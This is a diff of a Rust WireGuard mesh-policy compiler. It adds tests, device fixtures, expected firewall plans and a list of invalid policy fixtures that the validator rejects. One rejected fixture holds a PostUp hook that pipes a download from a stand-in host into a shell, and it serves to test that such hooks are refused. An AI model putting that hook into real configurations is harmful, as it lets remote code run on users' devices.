// mark-pc has a kill switch: it wins, so 8.8.8.0/24 still goes through the exit.
let with_kill = Parts::home().with_road("d00002-direct.md", direct);
assert_eq!(ids(&with_kill, 1, &subnet("8.8.8.0/24")), ["p4n6rb"]);
assert!(
with_kill
.compile()
.problems
.iter()
.any(|p| p.code == roads::rules::DIRECT_KILL_SWITCH && p.path.contains("d00002"))
);
// Without the kill switch the subnet goes direct, and the exit road no longer explains it.
let without = Parts::home()
.without_road("w9c3ke")
.with_road("d00002-direct.md", direct);
assert!(ids(&without, 1, &subnet("8.8.8.0/24")).is_empty());
assert_eq!(ids(&without, 1, &subnet("1.1.1.0/24")), ["p4n6rb"]);
}
#[test]
fn two_roads_granting_the_same_rule_give_one_rule_and_both_explain_it() {
// QA R-16: a diamond. Jana is in two groups whose roads both reach the photos on tcp/443.
let parts = Parts::home()
.edit_directory(|d| d.replace(
r#"{ "id": "household", "name": "Household", "members": ["mark", "jana"] }"#,
r#"{ "id": "household", "name": "Household", "members": ["mark", "jana"] },
{ "id": "friends", "name": "Friends", "members": ["jana"] }"#,
))
.with_road(
"d00003-friends-photos.md",
"---\nid: d00003\nsubject: group:friends\nverb: can-reach\nobject: service:photos.home.arpa\ncreated: 2026-11-25T10:00:00Z\n---\n",
);
let c = parts.compile();
assert_eq!(c.errors().count(), 0, "{:?}", c.problems);
let rules: Vec<_> = c.plans[&key(2)]
.firewall
.rules
.iter()
.filter(|r| r.src.to_string() == "100.96.0.3/32" && r.ports == Some([443, 443]))
.collect();
assert_eq!(rules.len(), 1, "{rules:?}");
let roads: Vec<String> = rules[0].roads.iter().map(|r| r.to_string()).collect();
assert_eq!(roads, ["7tq0mz", "d00003"]);
assert_eq!(
ids(&parts, 3, &service("photos.home.arpa")),
["7tq0mz", "d00003", "k3f9q2"]
);
}
+17
View File
@@ -0,0 +1,17 @@
{
"format": 1,
"devices": [
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" },
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
"routes": ["192.168.100.0/24"],
"services": [
{ "host": "photos.home.arpa", "ports": ["tcp/443"], "address": "100.96.1.2" },
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
] },
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
]
}
+12
View File
@@ -0,0 +1,12 @@
{
"format": 1,
"people": [
{ "id": "mark", "name": "Mark" },
{ "id": "jana", "name": "Jana" },
{ "id": "petr", "name": "Petr" },
{ "id": "eva", "name": "Eva" }
],
"groups": [
{ "id": "household", "name": "Household", "members": ["mark", "jana"] }
]
}
@@ -0,0 +1,44 @@
{
"format": 1,
"device": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY",
"name": "friend-node",
"address": "100.96.0.6",
"services": [],
"classic": false,
"expires": null,
"peers": [
{
"key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc",
"name": "petr-phone",
"address": "100.96.0.7",
"classic": false,
"allowed_ips": [
"100.96.0.7/32"
],
"via": null,
"roads": [
"c0z5wn"
]
}
],
"firewall": {
"default": "deny",
"rules": [
{
"direction": "forward",
"src": "100.96.0.7/32",
"dst": "internet",
"proto": "any",
"ports": null,
"roads": [
"c0z5wn"
]
}
]
},
"dns": [],
"exit": null,
"kill_switch": null,
"direct": [],
"custom": []
}
@@ -0,0 +1,254 @@
{
"format": 1,
"device": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
"name": "home-server",
"address": "100.96.0.2",
"services": [
{
"host": "photos.home.arpa",
"address": "100.96.1.2"
}
],
"classic": false,
"expires": "2026-11-29T22:59:59Z",
"peers": [
{
"key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE",
"name": "mark-pc",
"address": "100.96.0.1",
"classic": false,
"allowed_ips": [
"100.96.0.1/32"
],
"via": null,
"roads": [
"h2x8vd",
"k3f9q2",
"p4n6rb"
]
},
{
"key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM",
"name": "jana-phone",
"address": "100.96.0.3",
"classic": false,
"allowed_ips": [
"100.96.0.3/32"
],
"via": null,
"roads": [
"7tq0mz",
"k3f9q2"
]
},
{
"key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ",
"name": "jana-laptop",
"address": "100.96.0.4",
"classic": false,
"allowed_ips": [
"100.96.0.4/32"
],
"via": null,
"roads": [
"7tq0mz",
"k3f9q2"
]
},
{
"key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU",
"name": "router",
"address": "100.96.0.5",
"classic": true,
"allowed_ips": [
"100.96.0.5/32"
],
"via": null,
"roads": [
"r8m2tg"
]
}
],
"firewall": {
"default": "deny",
"rules": [
{
"direction": "in",
"src": "100.96.0.1/32",
"dst": "100.96.0.2/32",
"proto": "any",
"ports": null,
"roads": [
"k3f9q2"
]
},
{
"direction": "in",
"src": "100.96.0.1/32",
"dst": "100.96.1.2/32",
"proto": "any",
"ports": null,
"roads": [
"k3f9q2"
]
},
{
"direction": "in",
"src": "100.96.0.3/32",
"dst": "100.96.0.2/32",
"proto": "any",
"ports": null,
"roads": [
"k3f9q2"
]
},
{
"direction": "in",
"src": "100.96.0.3/32",
"dst": "100.96.1.2/32",
"proto": "any",
"ports": null,
"roads": [
"k3f9q2"
]
},
{
"direction": "in",
"src": "100.96.0.3/32",
"dst": "100.96.1.2/32",
"proto": "tcp",
"ports": [
443,
443
],
"roads": [
"7tq0mz"
]
},
{
"direction": "in",
"src": "100.96.0.4/32",
"dst": "100.96.0.2/32",
"proto": "any",
"ports": null,
"roads": [
"k3f9q2"
]
},
{
"direction": "in",
"src": "100.96.0.4/32",
"dst": "100.96.1.2/32",
"proto": "any",
"ports": null,
"roads": [
"k3f9q2"
]
},
{
"direction": "in",
"src": "100.96.0.4/32",
"dst": "100.96.1.2/32",
"proto": "tcp",
"ports": [
443,
443
],
"roads": [
"7tq0mz"
]
},
{
"direction": "in",
"src": "100.96.0.5/32",
"dst": "100.96.0.2/32",
"proto": "tcp",
"ports": [
22,
22
],
"roads": [
"r8m2tg"
]
},
{
"direction": "in",
"src": "100.96.0.5/32",
"dst": "100.96.0.2/32",
"proto": "udp",
"ports": [
53,
53
],
"roads": [
"r8m2tg"
]
},
{
"direction": "in",
"src": "100.96.0.5/32",
"dst": "100.96.1.2/32",
"proto": "tcp",
"ports": [
22,
22
],
"roads": [
"r8m2tg"
]
},
{
"direction": "in",
"src": "100.96.0.5/32",
"dst": "100.96.1.2/32",
"proto": "udp",
"ports": [
53,
53
],
"roads": [
"r8m2tg"
]
},
{
"direction": "forward",
"src": "100.96.0.1/32",
"dst": "192.168.100.0/24",
"proto": "any",
"ports": null,
"roads": [
"h2x8vd"
]
},
{
"direction": "forward",
"src": "100.96.0.1/32",
"dst": "internet",
"proto": "any",
"ports": null,
"roads": [
"p4n6rb"
]
}
]
},
"dns": [],
"exit": null,
"kill_switch": null,
"direct": [
{
"app": "steam",
"subnet": "0.0.0.0/0",
"except": [
"100.96.0.1/32",
"100.96.0.3/32",
"100.96.0.4/32",
"100.96.0.5/32"
],
"roads": [
"e5yj1s"
]
}
],
"custom": []
}
@@ -0,0 +1,43 @@
{
"format": 1,
"device": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ",
"name": "jana-laptop",
"address": "100.96.0.4",
"services": [],
"classic": false,
"expires": "2026-11-29T22:59:59Z",
"peers": [
{
"key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
"name": "home-server",
"address": "100.96.0.2",
"classic": false,
"allowed_ips": [
"100.96.0.2/32",
"100.96.1.2/32"
],
"via": null,
"roads": [
"7tq0mz",
"k3f9q2"
]
}
],
"firewall": {
"default": "deny",
"rules": []
},
"dns": [
{
"host": "photos.home.arpa",
"address": "100.96.1.2",
"roads": [
"7tq0mz"
]
}
],
"exit": null,
"kill_switch": null,
"direct": [],
"custom": []
}
@@ -0,0 +1,43 @@
{
"format": 1,
"device": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM",
"name": "jana-phone",
"address": "100.96.0.3",
"services": [],
"classic": false,
"expires": "2026-11-29T22:59:59Z",
"peers": [
{
"key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
"name": "home-server",
"address": "100.96.0.2",
"classic": false,
"allowed_ips": [
"100.96.0.2/32",
"100.96.1.2/32"
],
"via": null,
"roads": [
"7tq0mz",
"k3f9q2"
]
}
],
"firewall": {
"default": "deny",
"rules": []
},
"dns": [
{
"host": "photos.home.arpa",
"address": "100.96.1.2",
"roads": [
"7tq0mz"
]
}
],
"exit": null,
"kill_switch": null,
"direct": [],
"custom": []
}
+49
View File
@@ -0,0 +1,49 @@
{
"format": 1,
"device": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE",
"name": "mark-pc",
"address": "100.96.0.1",
"services": [],
"classic": false,
"expires": null,
"peers": [
{
"key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
"name": "home-server",
"address": "100.96.0.2",
"classic": false,
"allowed_ips": [
"0.0.0.0/0",
"100.96.0.2/32",
"100.96.1.2/32",
"192.168.100.0/24",
"::/0"
],
"via": null,
"roads": [
"h2x8vd",
"k3f9q2",
"p4n6rb"
]
}
],
"firewall": {
"default": "deny",
"rules": []
},
"dns": [],
"exit": {
"through": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
"roads": [
"p4n6rb"
]
},
"kill_switch": {
"through": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
"roads": [
"w9c3ke"
]
},
"direct": [],
"custom": []
}
@@ -0,0 +1,39 @@
{
"format": 1,
"device": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc",
"name": "petr-phone",
"address": "100.96.0.7",
"services": [],
"classic": false,
"expires": null,
"peers": [
{
"key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY",
"name": "friend-node",
"address": "100.96.0.6",
"classic": false,
"allowed_ips": [
"0.0.0.0/0",
"::/0"
],
"via": null,
"roads": [
"c0z5wn"
]
}
],
"firewall": {
"default": "deny",
"rules": []
},
"dns": [],
"exit": {
"through": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY",
"roads": [
"c0z5wn"
]
},
"kill_switch": null,
"direct": [],
"custom": []
}
+40
View File
@@ -0,0 +1,40 @@
{
"format": 1,
"device": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU",
"name": "router",
"address": "100.96.0.5",
"services": [],
"classic": true,
"expires": null,
"peers": [
{
"key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
"name": "home-server",
"address": "100.96.0.2",
"classic": false,
"allowed_ips": [
"100.96.0.2/32",
"100.96.1.2/32"
],
"via": null,
"roads": [
"r8m2tg"
]
}
],
"firewall": {
"default": "deny",
"rules": []
},
"dns": [],
"exit": null,
"kill_switch": null,
"direct": [],
"custom": [
{
"road": "x1d7qa",
"classic": true,
"raw": "[Interface]\nMTU = 1380 \nJc = 4\nH1 = 1234567\n\n[Peer]\nPersistentKeepalive = 25\n# kept exactly as the router had it\n"
}
]
}
@@ -0,0 +1,10 @@
---
id: 7tq0mz
subject: person:jana
verb: can-reach
object: service:photos.home.arpa
until: 2026-11-29T23:59:59+01:00
ports: [tcp/443]
created: 2026-11-25T10:00:00+01:00
---
Jana sees the photos until Sunday.
@@ -0,0 +1,7 @@
---
id: c0z5wn
subject: person:petr
verb: exits-through
object: exit:BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY
created: 2026-11-23T20:00:00+01:00
---
@@ -0,0 +1,9 @@
---
id: e5yj1s
subject: app:steam
on: person:mark
verb: goes-direct
object: subnet:0.0.0.0/0
created: 2026-11-21T18:30:00+01:00
---
Mark's games do not go through the tunnel.
@@ -0,0 +1,7 @@
---
id: h2x8vd
subject: person:mark
verb: can-reach
object: subnet:192.168.100.0/24
created: 2026-11-20T09:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: k3f9q2
subject: group:household
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-20T09:00:00+01:00
---
The household reaches the home server.
@@ -0,0 +1,8 @@
---
id: m6v0hp
subject: person:petr
verb: can-reach
object: service:git.home.arpa
until: 2026-11-01T00:00:00+01:00
created: 2026-10-01T12:00:00+02:00
---
@@ -0,0 +1,7 @@
---
id: p4n6rb
subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
verb: exits-through
object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-20T09:00:00+01:00
---
@@ -0,0 +1,10 @@
---
id: r8m2tg
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
ports: [udp/53, tcp/22]
classic: true
created: 2026-11-22T11:00:00+01:00
---
The old router is a classic WireGuard peer.
@@ -0,0 +1,7 @@
---
id: w9c3ke
subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
verb: never-online-without
object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-20T09:00:00+01:00
---
@@ -0,0 +1,17 @@
---
id: x1d7qa
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
verb: custom
classic: true
created: 2026-11-22T11:05:00+01:00
---
```raw
[Interface]
MTU = 1380
Jc = 4
H1 = 1234567
[Peer]
PersistentKeepalive = 25
# kept exactly as the router had it
```
+84
View File
@@ -0,0 +1,84 @@
# kind file code field ("-" for none). Each line is one failing fixture; tests/validation.rs reads it.
road bad_name.md file.name -
road a00001-no-header.md file.header -
road a00002-unclosed.md file.header -
road a00003-anchor.md yaml.refused subject
road a00004-colon.md yaml.syntax subject
road a00005-untill.md key.unknown untill
road a00006-until-capital.md key.unknown Until
road a00007-duplicate-until.md key.duplicate until
road a00008-no-created.md key.missing created
road a00009-ports-on-exit.md key.forbidden ports
road a00010-ports-scalar.md key.type ports
road a00011-bad-id.md id.format id
road a00012-id-mismatch.md id.file-name id
road a00014-verb-case.md verb.unknown verb
road a00015-everyone.md ref.format subject
road a00016-mapped-ipv6.md ref.format object
road a00017-subject-kind.md subject.kind subject
road a00018-nobody.md subject.unknown subject
road a00019-object-kind.md object.kind object
road a00020-no-service.md object.unknown object
road a00021-not-exit.md object.not-exit object
road a00022-host-bits.md subnet.not-canonical object
road a00023-unrouted.md subnet.unrouted object
road a00024-half-internet.md subnet.unrouted object
road a00025-naive-until.md until.format until
road a00026-created.md created.format created
road a00027-port-zero.md ports.format ports
road a00028-empty-ports.md ports.format ports
road a00029-not-served.md ports.not-served ports
road a00030-via-word.md via.format via
road a00031-via-unknown.md via.unknown via
road a00032-via-not-relay.md via.not-relay via
road a00033-classic-yes.md classic.format classic
road a00034-classic-unsaid.md classic.unacknowledged classic
road a00035-custom-no-raw.md body.raw-missing -
road a00036-raw-in-note.md body.raw-outside-custom -
road a00037-postup.md body.raw-hook -
road a00038-expired.md road.expired until
road a00039-eva-no-devices.md road.no-devices subject
road a00040-self.md road.self object
road a00041-second-exit.md exit.conflict object
road a00042-direct-public.md direct.kill-switch object
road a00043-custom-object.md key.forbidden object
road a00044-tab.md yaml.refused -
road a00045-empty-until.md key.empty until
road a00046-until-comment.md key.empty until
road a00047-empty-ports.md key.empty ports
road a00048-direct-mesh.md direct.mesh object
road a00049-direct-tunnelled.md direct.tunnelled object
road a00050-app-everyone.md key.missing on
road a00051-on-not-app.md key.forbidden on
road a00052-on-nobody.md subject.unknown on
road a00053-on-service.md subject.kind on
directory unknown-field.directory.json snapshot.json -
directory format-two.directory.json snapshot.format format
directory bad-person-id.directory.json directory.id people[3].id
directory duplicate-person.directory.json directory.duplicate people[3].id
directory name-newline.directory.json directory.name people[3].name
directory name-bidi.directory.json directory.name people[3].name
directory member-unknown.directory.json directory.member-unknown groups[0].members[1]
directory member-group.directory.json directory.member-unknown groups[0].members[1]
directory member-bad-id.directory.json directory.member groups[0].members[1]
directory member-twice.directory.json directory.member groups[0].members[1]
devices unknown-field.devices.json snapshot.json -
devices bad-key.devices.json devices.key devices[0].key
devices duplicate-key.devices.json devices.duplicate devices[6].key
devices name-newline.devices.json devices.name devices[0].name
devices owner-unknown.devices.json devices.owner-unknown devices[6].owner
devices owner-bad-id.devices.json devices.owner devices[6].owner
devices address-twice.devices.json devices.address devices[6].address
devices address-in-route.devices.json devices.address devices.petr-phone.address
devices address-loopback.devices.json devices.address devices[6].address
devices address-public.devices.json devices.address devices[6].address
devices address-public-v6.devices.json devices.address devices[6].address
devices route-host-bits.devices.json devices.route devices[1].routes[0]
devices route-internet.devices.json devices.route devices[1].routes[0]
devices route-link-local.devices.json devices.route devices[1].routes[0]
devices route-overlap.devices.json devices.overlap devices.friend-node.routes
devices service-host.devices.json devices.service devices[1].services[0].host
devices service-no-ports.devices.json devices.ports devices[1].services[0].ports
devices service-address-twice.devices.json devices.address devices[1].services[0].address
devices service-address-public.devices.json devices.address devices[1].services[0].address
devices service-address-in-route.devices.json devices.address devices.home-server.address
@@ -0,0 +1,2 @@
id: a00001
subject: person:jana
@@ -0,0 +1,4 @@
---
id: a00002
subject: person:jana
verb: can-reach
@@ -0,0 +1,7 @@
---
id: a00003
subject: &who person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00004
subject: person: jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00005
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
untill: 2026-11-29T23:59:59+01:00
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00006
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
Until: 2026-11-29T23:59:59+01:00
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,9 @@
---
id: a00007
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
until: 2026-11-29T23:59:59+01:00
until: 2027-11-29T23:59:59+01:00
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,6 @@
---
id: a00008
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
---
@@ -0,0 +1,8 @@
---
id: a00009
subject: person:jana
verb: exits-through
object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
ports: [tcp/443]
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00010
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
ports: tcp/443
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: A00011
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00013
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00014
subject: person:jana
verb: Can-Reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00015
subject: person:*
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00016
subject: person:jana
verb: can-reach
object: subnet:::ffff:192.168.100.0/120
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00017
subject: subnet:192.168.100.0/24
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00018
subject: person:nobody
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00019
subject: person:jana
verb: can-reach
object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00020
subject: person:jana
verb: can-reach
object: service:nope.home.arpa
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00021
subject: person:jana
verb: exits-through
object: exit:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00022
subject: person:jana
verb: can-reach
object: subnet:192.168.100.7/24
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00023
subject: person:jana
verb: can-reach
object: subnet:10.20.0.0/24
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00024
subject: person:jana
verb: can-reach
object: subnet:0.0.0.0/1
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00025
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
until: 2026-11-29T23:59:59
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00026
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: yesterday
---
@@ -0,0 +1,8 @@
---
id: a00027
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
ports: [tcp/0]
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00028
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
ports: []
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00029
subject: person:jana
verb: can-reach
object: service:photos.home.arpa
ports: [tcp/80]
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00030
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
via: relay
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00031
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
via: device:CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00032
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
via: device:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00033
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
classic: yes
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00034
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,6 @@
---
id: a00035
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
verb: custom
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,10 @@
---
id: a00036
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
```raw
AllowedIPs = 0.0.0.0/0
```
@@ -0,0 +1,11 @@
---
id: a00037
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
verb: custom
classic: true
created: 2026-11-25T10:00:00+01:00
---
```raw
[Interface]
postup = curl http://example.invalid/x | sh
```
@@ -0,0 +1,8 @@
---
id: a00038
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
until: 2026-11-25T12:00:00+01:00
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00039
subject: person:eva
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00040
subject: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00041
subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
verb: exits-through
object: exit:BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00042
subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
verb: goes-direct
object: subnet:8.8.8.0/24
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,10 @@
---
id: a00043
subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
verb: custom
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
```raw
MTU = 1280
```
@@ -0,0 +1,7 @@
---
id: a00044
subject: person:jana
verb: can-reach
object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00045
subject: person:jana
verb: can-reach
object: service:photos.home.arpa
until:
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00046
subject: person:jana
verb: can-reach
object: service:photos.home.arpa
until: # Sunday
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00047
subject: person:jana
verb: can-reach
object: service:photos.home.arpa
ports:
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00048
subject: person:jana
verb: goes-direct
object: subnet:100.96.0.0/24
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00049
subject: person:mark
verb: goes-direct
object: subnet:192.168.100.0/25
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,7 @@
---
id: a00050
subject: app:steam
verb: goes-direct
object: subnet:0.0.0.0/0
created: 2026-11-25T10:00:00+01:00
---
@@ -0,0 +1,8 @@
---
id: a00051
subject: person:jana
on: person:mark
verb: goes-direct
object: subnet:0.0.0.0/0
created: 2026-11-25T10:00:00+01:00
---

Some files were not shown because too many files have changed in this diff Show More